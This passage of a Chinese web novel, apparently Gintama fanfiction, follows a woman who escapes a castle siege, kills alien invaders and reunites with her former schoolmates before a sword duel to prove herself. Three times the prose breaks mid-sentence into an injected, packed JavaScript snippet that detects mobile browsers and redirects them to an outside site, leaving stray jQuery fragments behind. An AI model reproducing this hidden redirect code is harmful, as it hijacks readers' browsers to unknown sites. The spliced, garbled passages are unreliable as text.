没有理会他,我朝木村道,“喂,木村大人,你要干什么我都无所谓,但……别动我罩的女人。” 木村猛地抬头,眼睁睁地看着我往后一仰跌出窗外。 33.单选题变多选 下坠的身势被下方甩出的绳子卷住一拉,我整个人跌入下层的回廊,撞上一个结实的东西滚了两圈才停下。 “疼死我了……”我把头发耙向后面,抬头埋怨地看了一眼黑子,“你就不能浪漫点,公主抱什么的吗?” 我一生行善积德,光明磊落,就不配一个公主抱吗? “那可得折上一双手臂~太不划算了。”黑子挑眉揶揄,随即叹口气无奈地笑道,“你也太胡来了,这样忽悠他们来拖延时间。” 是的,拖延时间。 早在两天前,我便传了消息出去给坂本辰马了——厨房那位负责采买的阿婆帮忙的,他们会负责那批武器,而我们继续留在这里,不过是为了让木村他们以为我们还在找机会而已,刚刚也是为了给黑子他们争取时间。 “城里头的天人已经解决得差不多了,我们现在撤退?”黑子跟着我往外跑,低声地问道。 天空传来异响,我们对望一眼,不约而同探头望出去。一艘不算大的飞船从远处慢慢驶过来。 “黑子,你去西门那边,伙伴们跟良子在等你,无论怎样,你们一定要把良子带出去,不能让她落入天人手里!”我慎重地交代道。 “诶?良子小姐?”黑子诧异地看着我,“她怎么会去西门那边?不是跟樱姬夫人一起吗?我们不是只要拖延时间让队长他们处理那批武器,然后让逃出来的同伴们离开就行了?” “他们没直接离开,而是在良子被押去夫人那里的路上把她带走了。” “诶?为什么啊?” 是啊,为什么?当然就是因为,良子才是武器的本身。 木村良子喜欢研究先进事物,尤其是枪炮,因为她深信先进的武器才能更好地保护石川城。那些武器不过是她的作品,所以真正不能落入天人手中的,是她。 方才城中的爆炸就是我们同伴跟天人交手产生的,现在最重要的是把良子带去安全的地方,这也是我跟樱姬真正的约定。 “良子才是那些武器的制造者,详情来不及解释了,你带领大家先出去。”我接过黑子递过来的长刀,沉声交代,“我要去找樱姬。” “开什么玩笑,好不容易摆脱那些天人,你又要回去?”黑子皱着眉不赞同地拉着我。 “我答应了樱姬要帮忙,这事还没完呢。而且便宜被抢了,我家的女人可不能就这样认输,得给那个截胡的天人一个教训。”我扛着刀,笑容可掬地摆摆手转身离开。 开什么玩笑,抢了本来属于我的便宜,怎么可以放过那些天人? “无论如何,我都不会把孩子交给你们!” 还没跑到门口便听到樱姬愤怒的声音,我顿了顿脚,悄然拔刀出鞘。 “既然如此,那我们也不用再谈其他了……” 带着轻慢笑意的话说罢,便听到里头一阵骚动,紧接着是樱姬凄厉的叫声和男人的惨叫。 我猛地拉开门,慌乱地叫道,“扎伊大人,不好了,有攘夷志士混了进来杀了人!” 绿色皮肤的天人刚甩掉刀上的血,不慌不忙地看了过来,“昂,杀了谁?” 勾起唇角,我笑着抬头看他,手用力向前捅,“杀了你哦~” 鲜艳的红色飞溅在我身上,我抬眸对上那双诧异又愤怒的狭眸,手中的长刀直直插进他的胸腹。嘴角扬起的弧度加大,他眼中清楚倒影我跟某个小兔子几乎相同的笑容,眼底尽是恐惧。 手臂用力一扫,长刀横劈而出,绿色天人半身被劈开。我甩去刀锋上的血,慢条斯理地望向里头相拥着的木村夫妇。 “反派都是死于话多或者太自信,当然,卧底的话还是可以给点自我陈述时间。”我蹲在木村身边查看他的伤势,“还能撑一下吧,城主大人。” “你……早就知道了?”木村喘着气靠在樱姬怀中,严谨的脸上一片苍白。 “你向天人屈服,是想要保护女儿和石川城的百姓,可是这两个选项对你来说是冲突的吧。所以樱姬才会借着武器的事让我入城,希望把天人的注意力引到我们身上。” 一开始的时候我并不清楚这些,只是单纯觉得他们态度转变太快,恩爱夫妻反目也太干脆。后来知道良子研发的事,再加上樱姬刻意引导,才慢慢关联起来。 天人要的名义上是武器,但实际上是良子,他们的筹码是这个城的百姓。是女儿还是世代尊崇木村家的人,身为城主他根本没有退路。 “果然,人生就是不断在做选择题,你们想要把单选题做成多选题,于是盯上了我们?”坂本辰马想要这批武器,但不是志在必得,对科技产品感兴趣比较大,而樱姬在跟我谈过后却非常支持我们。 “对不起,都是妾身的错……”樱姬趴伏在地上,哭得泪花带雨,“老爷是不同意的,是我没有办法,才会把你们拉下水。” 我之前就奇怪,泽木花了那么多时间木村都没答应,怎么我撩了几下他老婆就应下了?原来是被天人逼得没路走,只能借我这个砖来引攘夷志士这些玉。 我们带走了良子,他们便可以放心,有机会跟天人争取百姓安全,至少可以解决燃眉之急。 “对不起,我们实在没有其他办法了……他们来这里后便发现是良子改造了那些武器……之前我们一直都瞒得好好的……”木村城主愧疚地低着头道。 我有些头疼,他们做的一切出发点都是为了保护女儿和百姓,但……虽说债多不愁,这样给那几个家伙添麻烦我还是觉得不爽。 “呐,天人里头知道的不多吧……除了这个已死的。”我转头指着那具尸体。 木村微愣,点点头,“他们打算把良子带回去后才邀功,知道的人不多。除了他,可能还有接应的人……” “那么,都杀掉不就行了?”我笑了起来,觉得这真是个不错的主意。 猛地,一道凌厉的劲道从身后而来,我反应极快地翻身滚开。 “老爷!”樱姬尖叫出声,在瞬息之际木村翻身护着了她,自己却中了一根极细的铁针。 看到那根针,我心头一颤,门口那边是一个带着斗笠穿着披风的天人,皮肤青绿,散落的长发灰白。 不是胧。 我说不出有没有失望,慢慢站起来,警惕地持刀对峙。 “都杀掉?区区一个女人,口气却挺大。”来人声音嘶哑,透着阴沉的恶意。 我瞥了眼满身是血抱着丈夫泣不成声的樱姬,不虞地望向他,“女人有的是仙气不是口气……呐,死老头,我说过了,不要动我罩的女人!” 话音一落,我跃起狠狠地挥刀攻了过去,朝樱姬喊道,“快跑!” ……………… ……………… 转换一个视觉 ……………… 坂本辰马等人破坏掉那个武器库后便朝这边撤退,他本人是有点可惜的,那批武器在跟天人交手时他耍了一下,那激光枪真心不错。但他的新伙伴对这些东西兴趣不大,甚至不屑地全毁掉,那他也只好笑着以这些武器葬送那些天人了。 没多久,他们便遇到从石川城撤退回来的伙伴。坂本辰马点了点头人,看着那个娇滴滴的小姑娘不解地搔着头问道,“呐,你们去了十来天而已,怎么阿月换了个样?” “够了坂本,这位是石川城城主家的姑娘,良子小姐。”黑子对自己队长的性子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044594|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定了解,摇着头把人交给泽木。 “诶,那阿月呢?”坂本辰马记得消息是她传来的,怎么撤退少了人? 黑子无奈地叹口气,“那家伙说放心不下樱姬夫人,回去了。” 坂本辰马一愣,眨了眨豆子眼,“啊哈哈哈,那家伙太胡闹了吧。为了女人连命都不要了吗?” 坂田银时打了个哈欠,忙碌一晚上他都快要到睡觉时间了,听到这话来了点兴趣调侃道,“喂,坂本,你家副手玩得也挺花的嘛……樱姬不是石川城城主的夫人吗?这种风流债可不好惹哦~” 他曾听闻那对夫妻出了名的恩爱,看来这副手有点东西哦……想到什么般,他转头诡笑着把手搭在桂肩膀,“假发,你有同好了。” 原以为人妻的口味是假发的个人设定,没想到有重复啊。 “不是假发,是桂。”桂没好气地侧身避开他的手肘,看向坂本辰马,“没问题吗?那些天人好像有支援了。” “啊哈哈哈,没办法了,我去把那家伙带回来吧。”坂本辰马拍拍黑子的肩膀,自豪地笑道,“你们先撤,等那家伙回来,我再给你们好好介绍。我们家阿月可厉害了~” “剑术比你还厉害?”经过今晚,高杉对坂本辰马的实力还是比较认可。 “啊哈哈,啊哈哈哈,不是这个意思。”想起自己新副手的奇遇,坂本辰马大笑起来,“那家伙是个怪人,死而复生呢~啊,也不对,没死透来着。之前不知道为什么被天人关在了休眠仓一样的东西里头,当时身上还插着一把长刀呢。” 坂本辰马指了指胸口的位置,语气轻快,双眸因提起这种怪事而扑闪扑闪的,“也不知道被关了多久,说是有几年了。那时候还以为是被天人拿去做实验的尸体,我就想着带出来好好安葬。谁料到把刀拔出来后竟然活过来了,啊哈哈哈,那家伙还老说自己是永远25岁什么的奇迹……你们,怎么了?” 迟钝的他终于发现,原本随意听着的三人脸色顿时变了,全身陷入了一片阴影。 “呐,坂本,你的副手……叫什么来着?”低着头的高杉沉声问道。 “昂?你说我们家阿月吗?”坂本辰马眨了眨眼,一脸疑惑。 “拜托,都什么时候了,队长你还在磨蹭什么啊?”黑子跟泽木交代完良子的事,回头看到坂本还站在那边闲聊,没辙地道,“阿萤一个人在那也不知道什么情况……要不,你带人撤退,我回去找她吧。” “呐,小哥……”一只手忽然搭上黑子的肩膀,他回头一看,猝不及防地撞入一双诡异的红眸。 “你说那个被人捅了刀关了不知多久,号称永远25岁,现在还一个人滚去勾搭别人老婆的蠢货……叫什么来着?” “啊哈哈,金时,你说的是我们家阿月……痛!”坂本辰马还没说完就被一个拳头击中。 “给老子把别人的名字叫对啊混蛋!” 黑子看着眼前忽然就混乱起来的四人,叹口气,搔着头道,“真是的,你们能有点紧迫感吗?原以为队长已经够不靠谱了,没想到新伙伴也这样……阿萤,那家伙叫月见萤,她也没勾搭别人老婆,呃,虽然她女人缘挺好的说……” 不知道是不是他错觉,黑子觉得那个名字说出口后,眼前三人的脸色和气势忽然就变了,那片浓郁的阴影瞬间燃了起来。 “你们……就这样让她一个人留在那里?” 坂本辰马捂着被揍的侧脸,毫无心机地笑起来,“不用担心,那家伙的话,好像什么地方都能混得好,她很机灵,谈判和胡扯也有一手,能逃出来的。” “才怪……那笨蛋一个人的话只会做蠢事。” 34.奇迹般的再会 人类的身体和反应真的比不过夜兔! 我踩在屋顶的瓦片上,才走了两步脚边便刺来几根细针,不得已我只能退后。剑锋划过,我翻身躲开,肩膀的衣料被划出一道口子。 刀锋相接的瞬间,压力沉重得我手腕发痛,不愧是这次来的boss级吗? “可笑的人类女人,明明有机会逃出去,为什么还回来?你想要救那个女人?”天人压迫感极大,嘲讽地笑道,“不自量力,人类都这么愚蠢吗?为了别人而送命……那个女人不过是利用你而已,就算你死了也不会感激。” “说够了吧,大叔!”我狠狠地提腿飞踢,跃起砍了过去。反派怎么就这么喜欢说话?一边打架一边说话很容易岔气的好吧! “谁打算救人?别开玩笑了,我的所作所为和言行从来都只是在捍卫我的价值观,顺从我的心意,而不是要拯救谁。确切地说,救她不过是顺手而已。” 一个母亲,一个妻子,想要保护自己的女儿和丈夫,想要帮丈夫保护这里的百姓,她做了自己能做的一切。而我,回来不过是为了搞清楚事情,也为了……不让天人得逞罢了。 我又不是圣母,girls help girls,不过是做不到见死不救,良心不安而已。 对的,我讨厌这个世界,更讨厌侵略地球的天人,怜悯那些无助的人类。天人那副高高在上的面孔让我很不爽,我一向从心,所以就干了。 我怕死,但我的死却不一定是坏事,万一回家了呢?反正,我现在的心态就是,死不了就好,死了也无所谓。 “只是为了一时意气?哼,你比那些攘夷志士更愚蠢。” 屋顶上陆续聚了一些天人喽啰,对上那大叔自得的脸,我落在屋脊上,朝他笑道,“大叔,我也没指望你懂,因为女人就是这么矛盾又莫名其妙。不过,女人是憋屈不了,不然会长结节的……简单地说,就是老子乐意!” “你以为你还能活着离开?”天人立我在不远处,低声笑起来。 “不试试怎么知道呢?”开玩笑,杀他可能有点难度,但其他的……经过神威那高强度的偷袭磨炼,我还是可以做到。 嘿嘿一笑,我探手入怀,丢出几个拳头大小的炸弹,一手持刀横劈。这是良子给我防身的烟雾弹,最适合逃跑时掩饰行踪。 嘭的巨响,浓烟迅速蔓延。 “找死!”天人飞快地甩出细针,冲了过来。 细针被打偏的脆响在浓烟中分外清晰,银光微晃,天人还没反应过来,两道凌厉的剑气已袭至身前。 抬眸错眼之间,两个身影破烟而出。 “跑!” 那两个有点耳熟却比记忆力沉稳许多的声音响在耳边,我的身体如条件反射般转身就跑,连停顿的瞬间也没有。 从心底而生的笑意压也压不住地飞扬上嘴角,方才的茫然像是破晓般消散,我直直冲到屋脊的边缘,踩着攻过来的猪头天人跃起。 身后黑影袭至,眼前是拿着三叉戟的敌人,我全然不管后面,狠狠地提刀刺进敌人的身体。飞溅的鲜血骤然从身后喷洒,我看到被我刺中的人眼中惊骇的倒影。 两把长刀分别插进我身后偷袭的那人胸口,我松开插在敌人身体里的长刀,在半空中提腿狠狠踩在刀柄上,借力跃后。 鲜红喷薄而出,他伸出手企图抓着我的脚腕,在他手指碰上的瞬间,我下坠的身形一顿。看着敌人们纷纷从身边跌落,我心跳急促地愣了愣神,后知后觉地发现自己双臂被人拉住。 慢慢地抬起头,月色之下,那张漂亮秀气得如同姑娘家的面容晃入眼帘,飘扬的额带下那头拢在一边的黑发泛出亮光。 我深呼吸稳住声音,朝他绽出灿烂笑容,“假发,我回来了~” 桂一愣,旋即眉眼一弯,轻笑起来,温柔中带了一丝怀念,“不是假发,是桂。阿萤,欢迎回来。” 因为没有道别过,所以不是重逢。 那年是一句我出发了,现在只需要说一句我回来了。 “啊哈哈哈,我说,我们是不是先把人拉上来?”坂本辰马拉着我另一只手,笑眯眯地提醒。 我嘿嘿一笑,刚打算跟他道谢。猛地,两团黑影袭来,我还没来记得看清,两只大脚丫就这样踩在我脸上! “天诛——” “太过分了——我差点就掉下去了!” 我坐在屋檐上,拿出小镜子查看自己的脸。上头红了两个明显的脚印,鼻子底下还流了两管鼻血,我抬手一擦,愤恨丢开镜子,怒气冲冲地指着那两个人,“我这张脸也能下手,你们就注孤生吧!一点都不会怜香惜玉的混蛋——” 他们两个根本不知道我这张脸有多珍贵,这可是我当了那么久抠脚大胡子粗汉之后重新拥有的漂亮女人的脸蛋啊! 一想到不久前我的悲催,还有这毫不感人的重逢场面,我更火冒三丈地瞪过去。 “昂?阿银可没看到什么不能揍的东西啊,只有一个装死的笨蛋而已。”一身白袍的银发天然卷挖了挖鼻孔,装腔作势地俯视着我,“脑子不行的人多踩踩或许就能长点智商,少干些蠢事。” “就这副样子,只怕这几年都睡过去了,别说智商,啥都没长吧。”西式制服笔挺的短发少年长刀入鞘,冷冷地道。 “喂喂,客气点,我可是大人啊,对我恭敬点,OK?” 真是的,就算过去几年,我还是能当长辈的。果然,没有了松阳管教,礼貌都不行了。什么叫干蠢事,我哪有干过蠢事,我干的都是正事好吧! “姐姐我虽然永远25,但现在也比你们多了十多年人生啊!” “哈,哪来的十多年,脑子果然跟冷冻多年的牛奶一样坏掉了吗?现在撑死就8年多一点而已,还姐姐,这些年龄差距还不足以弥补你的智商缺陷!”锱铢必较的银时抬手比了个手指向下的侮辱手势。 “就你还想跟我谈智商?你自己不也是光长四肢不长脑子的笨蛋吗?坂田银时你别忘了自己还是我手下败将啊!”我伸手拍开他的手,瞪着他,“而且你已经卖身给我三次了,手下败将!” 他不会以为卖身契我会弄丢吧?傻子。 “那TM是以前!”气不过的坂田银时一手压在我头顶,狠狠地揉了揉。 “好了,银时,她脑子已经够差劲了,再多按几下就更蠢了。”高杉不忍地阻止他的暴行,那双幽绿的眸子就这样不带情绪地俯视着我,半张脸都陷入了阴影。 老实说,高杉他现在看起来比银时可怕多了。 噗嗤一下,我莫名地笑了,慢慢站起来,张手朝他们扑过去,搂着这两人的脖子,头埋在他们之间。 “晋晋,银时,我回来了。” 圈着的肩膀僵了一下,随后两只大手压在我脑后。 “欢迎回来,阿萤。” 明明是简单的一句话,但心底骤然涌起一种酸涩的情绪,怎么深呼吸都压不下去。离开他们后一直被我刻意忽略的茫然和惶恐全部化作一股名为委屈的东西,疯狂席卷我的理智。 “喂喂,你不是要哭吧?可别把鼻涕揩在我衣服上啊,白色很难洗耶……隔壁那个你可以考虑哦~” “闭嘴!找死吗你?”高杉别扭地伸手拍了拍我的背, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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地上的人几近全灭之际,飞船开始撤退,引擎引起的烈风几乎把我吹倒,桂吓得脸色一变,眼尖地揪着我领子拉回来。 “想跑,可没这么容易哦~”坂本辰马哈哈笑着打算追上去。 “别去,穷寇莫追,也不知道他们还有多少援兵。”高杉来这里的目的也不是要杀光这些天人,不主张追上去。 想来今晚他们已经超额完成任务了。 我双腿一软,晃了晃便啪的一下坐在地上,手臂酸得连刀都握不住了,“可算是完了……累死我了……” “昂?才这么点热身都不够好吧。”银时坏笑着蹲在我身边,“亏阿银还觉得你长进了些,结果还是弱鸡一只。赶紧的,把阿银的赞赏还回来啊。” “你自己往上爬一下,你哪个字眼赞我来着?”我一口咬着他戳过来的手指,痛得他差点飙泪,抡起拳头便要揍过来。 “好了,银时,阿萤不像你,体力不济也很正常。”桂拦下他的拳头,朝我伸手,“我们先回去吧。我还想知道,阿萤你这些年怎么了。” 闻言,银时也安静下来,红眸认真地看着我。 我哈了一声,叹口气。感觉这个我才真是一言难尽,难道我还能说,我魂穿成一个粗汉,去调教一只兔崽子? 死鱼眼还在盯着我,我回以同样的死鱼眼,我现在想起来了……那只兔崽子的妹妹,可不就是他将来的员工吗? 不行,又想咬他了。 “你把想法说出来了混蛋!” 35.不摸鱼的实力 【太过鲜艳的花,从来都不属于黑暗的。你们可要想清楚,要不要把她卷入这个战场。】 一觉醒来,意识还有些朦朦胧胧的,身边像是有人来来往往,耳边听到一些细语。我眯起眼打了个哈欠,伸懒腰的手忽然被人握着。 心下一个咯噔,我猛地张开眼,靠得过分近的暗茶色大眼清晰地倒影着那个披散着黑发惊讶得圆瞪着眸子的女人。 棕色的妹妹头,面容清秀,一身戎装掩不去青春的少女气息。少女慢慢红了眼,哇的一声抱着我,“真的是阿萤姐……太好了,你回来了。” “明……明里?”我不确定地轻声道,伸手拍了拍她的背。手腕还被人扣着,我慢慢抬头,看到桂那张比姑娘漂亮但此刻一本正经的脸。 放开。怕打扰明里,我无声地跟他道。 桂笑着放开我的手,安静地坐在我旁边。 少女抱着我好一会才安静下来,红着脸退开一些,莹润的眸子还盯着我,像是怕我忽然消失般。 “没想到几年没见,你都成大姑娘了~”我捧着她的脸蛋,笑着打量一番。明里是松下村塾的学生之一,也是那个经常找我对练的小姑娘。她母亲很早就不在了,也许是移情作用,有一段时间她经常跟在我身后,像个小尾巴般十分可爱。 “阿萤姐,我听晋助说起的时候还不敢信,你……你也参加攘夷战争了吗?”明里咬了咬唇,欲言又止,“这几年,你去了哪里?是回家了吗?那现在……” 小姑娘问题一个接一个,我还没想好怎么跟他们解释,只好笑着摸摸她的头,“这些我们晚点说,我有点饿了……我们这里,有早饭吗?” 明里表情一愕,下意识看向桂,旋即用力点头,“有的,我去给你拿过来。” 说罢,立马蹦起来跑去厨房,快得连我想叫都叫不住。 “给。”桂递过来一个饭团。 “谢谢……”既然有给我带怎么不阻止明里?我瞥了眼他,少年黑缎般的秀发即使蒙了尘也掩不去柔顺,眉清目秀的有着不逊于女子的精致,耿直的目光隐带凛然,气质沉着。 “假发,你长成了很好的男孩子呢。” 松阳一定很安慰,我们的小神童没有长歪,依然胸怀大志。 “不是假发,是桂。”桂露出一个无奈的笑容,“阿萤你啊……这口吻跟老师差不多了。” 我本来就跟你们不是一个级别啊。 那双漂亮的眸子瞥了我好几眼,我实在忍不住,“假发,你有话就说,你以为自己是要跟crush表白的妹子吗?” “咳咳,不是妹子是桂。那个……银时跟高杉在吵架,我不太会劝。” 桂轻咳两下,沉默一会儿,才慢慢地道,语气里头却没有一丝担忧。 “他们哪天不吵?你不是很会劝他们的吗?再说,不是还有辰马吗?别看他傻乎乎的,他非常擅长和稀泥。” “不行哦,这事辰马无法插手,不然银时会揍他的。因为这次是我们的内部矛盾。”桂蓦地轻笑,拍拍我的头,“他们在吵要不要让你留下来……可是我想,这是阿萤你才能决定的事,所以不知道怎么劝他们。” 我怔然,握着饭团的手顿住,没好气地着撞了下他肩膀,“还能怎么劝,直接一人一拳得了,自家人不用客气。” “啊哈……说的也是。”少年俊俏的眉眼染上一丝风霜,但此刻眼底却漾满温柔和轻快,隐约有些那个人的影子。 此刻我们所在的地方是一个比较大的日式建筑,位于山林间,正门前是一条长楼梯,据说以前是不起眼的寺庙,现在作为我们的据地之一。 还没走近,便看到高杉气冲冲地从房间走出来,脚步重重地在走廊上踩出咚咚的声响。爬上走廊,我探头进去,那个白色的身影背对着门口坐着,浑身散发着黑压压的气场。 我忍不住无声地笑了起来,这个背影让我想起昔日生气的小子。伸出手,我比了一下,小子长大了,脊背比以前更宽阔,肩膀也有力多了。 摇了摇头,我坚决丢开这种老怀安慰的感触,那会让我觉得自己老了。 啊呸,我永远25! “你在犯什么傻?一个人在那又摇头又点头的。”银时回过头,死鱼眼无神又诡异地透着明显的鄙视。 “呵呵,你不会想知道我此刻的想法。”我挑眉,勾起一抹坏笑。 他切了一声,撑着下巴瞥我一眼,“喂,你要留在这里吗?” 我走过去坐在他身边,把饭团递过去,“吃吗?” 他愣了一下,毫不客气地接过饭团往嘴里塞,脸别过去,眼珠子却又不停转过来瞧。 我都看得有点眼酸,他眼球真灵活,一定没近视。 “银时,你想要我留在这里吗?”我抱着膝盖,下巴搁在膝头上问道。 他顿了一下,含糊不清地敷衍,“随便你啊……不过,你也没有其他地方能去了吧。之前还跟着坂本那白痴……若是有地方去,哪用跟着他啊。” 还真说对了哈哈……我笑眯眯地问他,“所以呢,晋晋不想要我留下吗?” 能吵架就肯定是有分歧,看他的意思是想要我留下来,那高杉是不想? “这里是战场啊,你这种弱鸡连明里都不如,怎么留在这里?就算是她,也是因为已经没有家人,想要跟我们一起救回老师,才硬是跟着我们。而且,她是医疗队的,不在前线,也不会时刻随着我们迁移。”坂田银时啃完饭团,有气无力地摆摆手,“你也可以跟她一起,反正她常念着你。” “真的吗?不愧是我们的小姑娘,果然对我最想念~”我颇为感动,不过说我不如明里也太过分了,我记得以前我也没输过给她啊。 “啊啊,受不了,这是重点吗?”坂田银时没好气地指过来。 我笑着握着他的手指,轻易往外掰,“银时,我不是教过了吗?别随便指着别人哦~没礼貌。” 他痛得眼泪无声地飙,爬着远离我一丈。 “我说,你们就为了这种事吵是有多无聊?”我盘腿支着下颌,打了个哈欠,“想不想留下来是我才能决定,能不能留下来也是看我有没有不拖后腿的实力。你们都没问过我,吵什么呢。少年们啊,就算过了几年也不代表你们已长大到能决定我的事哦~” “昂?你算哪门子的大人?这些年一点长进也没有吧……除了惹了一队男人……说吧,滚去哪里鬼混了。”银时红眸多了几分精神,盯着我问道。 这个问题真的一言难尽……我抿唇想了想,不知道该从何说起。 “喂喂,五分钟过去了,你发什么呆啊!”挖了五分钟的鼻屎被他捏了捏丢过来,我轻巧地侧身避开。 “晚点等人齐了我再说吧,这事太麻烦了,我可不想说完后又要跟晋晋和假发再说一次。”拍拍裤子,我站起来,朝他笑了笑,发丝随着我的动作轻扬。 “现在,我要去跟妹子一起吃早餐了。” “昂?”银时一愣,随即爬起来,“明里取向很正常,你别招惹她……” “把你肮脏的脑子给老子倒干净,一丁点黄色废料都别留下啊!”他到底哪里来这种印象?我多正常纯洁的人啊。 打闹着走出房间,一抬眼便看到穿着西式制服头扎额带的高杉抱手斜靠在柱子边,沉着脸瞥了过来。少年精致的眉眼不像桂漂亮,也不是银时那种意气风发的痞帅,是一种介于沉稳与邪气之间的奇怪魅力。此刻心事重重的样子更让他本来就阴郁的气质多了一抹薄愁。 可恶,被他装到了。 只是看起来,嗯……假发我错了,这才是准备跟crush表白的妹子…… “我说,高杉你是准备跟人告白的小姑娘吗?扭扭捏捏的,其实你的内心比假发更要人妻吧,只是你偏好良家妇女……痛!”银时贱兮兮的调侃终止在一瓶砸过来的养乐多上。 “闭嘴喝你的吧。”高杉冷冷地道,脸颊上多了个十字路口。 我面不改色地走过去,朝他伸手,“我也要。” 高杉神情一愣,别过头从身后拿出一瓶递给我。 哇哦,还真有……我有些感动。 挠了挠脸颊,他才看着我道,“阿萤,我们所在的地方是战场,什么时候面对杀戮也说不准……这里,不适合你。如果你不介意,我可以联系一些认识的人,他们家里都小有资产,让你暂住在他们家里。等我们救回老师……再去接你……” “等等,晋晋你什么时候有这种朋友?他们是做什么生意的?先介绍一下,看看有没有合作机会。”我摸着下巴,条件反射地估量着。现在军需很重要,辰马跟他们合并不就是为了强强联合么。 这段时间,他一直教我,任何机会都不要轻易放过,就算是石子也要榨出价值。 高杉和银时表情空白。 “啊哈哈,啊哈哈哈,不愧是我们家阿月,很有商人意识哦~”坐在院门口顶上的坂本辰马大笑着冒出头来。 “我说,你在外头都学了什么啊……”坂田银时按着我的头使劲揉了揉。 “女人的头别乱摸啊,别以为现在比我高就顺手了……”我话没说完,高杉也抬手按了过来。 “晋晋,现在比我高你很开心?”我睨着他,“也就一点点而已,谁叫你不睡觉,都不长高了。” “长了的!”高杉表情一沉,揉得更用力了。 “啊哈哈,你们别欺负她嘛。”坂本辰马跳下来,那身高都可以俯视我了,“所以阿月,你有什么打算?” 打算?我偏头想了想,笑着抬头,“当然是,谁质疑就打脸谁咯~” 阿伏兔常说,人生就在不停地做选择题。但这一次,我从来没想过留or不留的问题。 我决定了,若是能再见,那在我离开之前都会陪着他们。若是阴差阳错没有再见,那在我离开之前会去直接去找松阳。 带头质疑我的,是鬼兵队里头的一个剑术高手,也是高杉的副手。在这支军队中,除了银时这种个人实力强悍擅长搞突击的王牌外,鬼兵队的实力也不容小觑,而且军纪严明。 所以,他不能容忍有关系户拖后腿。(但我后来觉得,他就是单纯妒忌晋晋护着我而已……谁家关系户跑战场啊傻子。) 他没有错,战场上一个疏忽都可以致命,甚至连累他人。我这个一来就需要三个大将去营救的弱鸡,确实让他没什么期待。 我要伸冤一下,我本来也没想过他们都来找我的……虽然有偷偷幻想过。 好吧,既然有人质疑,那为了他们的威望,我也不能拖后腿。 高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053502|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮的男人蓄着山羊胡,面容阳刚,眼神凌厉,握着手中的长刀紧锁着我,“先说清楚,就算是女人,我也不会手下留情。” 我低头看了看自己身上的男装,甩过马尾,双手握着随意挑的长刀,“放心,我最近对肌肉男也没那么大兴趣,不会放水的。” “高杉队长,真的没问题吗?要不让他们用竹刀比试吧。”黑子野太助担忧地建议,看我的眼神操心得像是我妈妈第一次送我上学,生怕我被欺负。 高杉抱手靠在墙边,摇了摇头,“战场上敌人不会跟你用竹刀厮杀,既然要让大家信服,就别说这些话。” 抱着刀坐在一边的桂和银时没有说话,但看表情也是认同的。 这个时代女人,尤其是漂亮的女人,如果没有势力庇护,那就必须有立足的实力。不然,很快会沦为男人的玩物,好的下场是花街的游女,要是命途多舛一些,很快就会凋谢在这个时代。 我无语地看着这些家人朋友们,只有辰马毫不担心地给我呐喊助威,不由得有点感叹。 是他们太强了觉得别人都弱,还是几年不见他们以为我不行了?那眼神专注得仿佛随时能出手救人。 我也毫不怀疑他们有这个实力和速度。 “呐,冈田先生,别跟那些蠢货一样小看女人。”我的刀指着他,笑道。女人不容小看,尤其是那些永远25岁的奇迹之女。 “大话等你平安度过今天再说吧!”冈田俯身摆出拔刀姿势,脚下用力一踏。 比试以他的进攻开始,冷冽的剑光又快又狠,我沉着心神见招拆招,那种名家风范的套路并不难懂。 窥中一个破绽,我狠狠地抬腿踩在刀背上,挥舞长刀迎上。稳打稳扎的招式因为力度和速度的关系,想要接下来也不容易,真不愧是鬼兵队的副手。 不过,我也是那三只亲自对练,松阳指导教出来的! 冷兵器相接的瞬间迸发的气流吹动刘海,对方忽然露出一个诡异的笑容,我心脏骤然一缩。下一瞬,刀光逼近,我勉强翻身避开,手臂飞快溅出一抹血丝。不容我多想,杂乱的银光如碎片般疯涌而来,瞬间把我包围。 我手腕极为灵活地封住每一道划向我的刀刃,被耍的怒气充斥胸腹,眼底融进杀意,那种跟神威拼杀的疯狂隐约想要破闸而出。一刀一劈,没有慌乱的空隙,也没有多余的仁慈与天真! 我纵身一跃,手中的长刀以狠戾的力度砍下。长刀横在眼前挡下,我蓦地笑了起来,眉眼俱弯,手臂用力得发痛,一手松开狠狠地抓着对方的头,借力用力旋腿踢过去。 风驰电挚之间,我抛了一下刀,刀刃反转,随即狠狠地挥向对方! 清脆的声响之后,一柄长刀直直插进地里,高壮的男人跌落在身后不远处。我收回手势,握着刀柄的手隐约在颤抖。 身后一片安静,我笑眯眯地回头,“这样,可以了吗?” 围观的人难以置信地望着我,又望向捂着手臂躺在地上的冈田,“不,不是吧……她居然……赢了?” “岗田是放水了吗?他……不对啊,她……身法太快了……” 放水?那也太侮辱在烙阳和春雨被偷袭追杀那么久还活着的我了吧。我只是在感觉安全的前提下稍微摸鱼了些而已,不是真的那么菜。 “认真的对手,我也会认真对待。冈田很厉害,差点被你吓到了呢~”我收起刀,弯身朝他伸手。 